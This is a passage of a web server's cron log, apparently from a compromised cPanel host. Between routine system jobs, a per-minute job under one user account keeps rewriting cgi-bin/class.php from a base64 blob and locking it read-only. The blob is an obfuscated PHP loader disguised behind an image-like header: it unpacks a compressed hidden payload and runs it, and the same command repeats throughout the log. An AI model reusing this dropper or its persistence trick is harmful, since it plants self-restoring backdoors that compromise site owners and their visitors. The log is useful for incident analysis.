"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:57:01 server CROND[25990]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 17:57:01 server CROND[25991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:58:01 server CROND[26037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:59:01 server CROND[26088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:00:01 server CROND[26242]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 18:00:01 server CROND[26241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:00:01 server CROND[26243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 18:00:01 server CROND[26244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:00:01 server CROND[26245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:01:01 server CROND[26370]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 18:01:01 server CROND[26371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:01:01 server run-parts(/etc/cron.hourly)[26370]: starting 0anacron
Apr  6 18:01:01 server run-parts(/etc/cron.hourly)[26383]: finished 0anacron
Apr  6 18:02:01 server CROND[26436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:03:02 server CROND[26487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:04:01 server CROND[26544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:05:01 server CROND[26603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 18:05:01 server CROND[26604]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 18:05:01 server CROND[26606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:05:01 server CROND[26605]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 18:06:01 server CROND[26832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:07:01 server CROND[26901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:08:01 server CROND[26951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 18:09:01 server CROND[27008]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 18:09:01 server CROND[27009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7E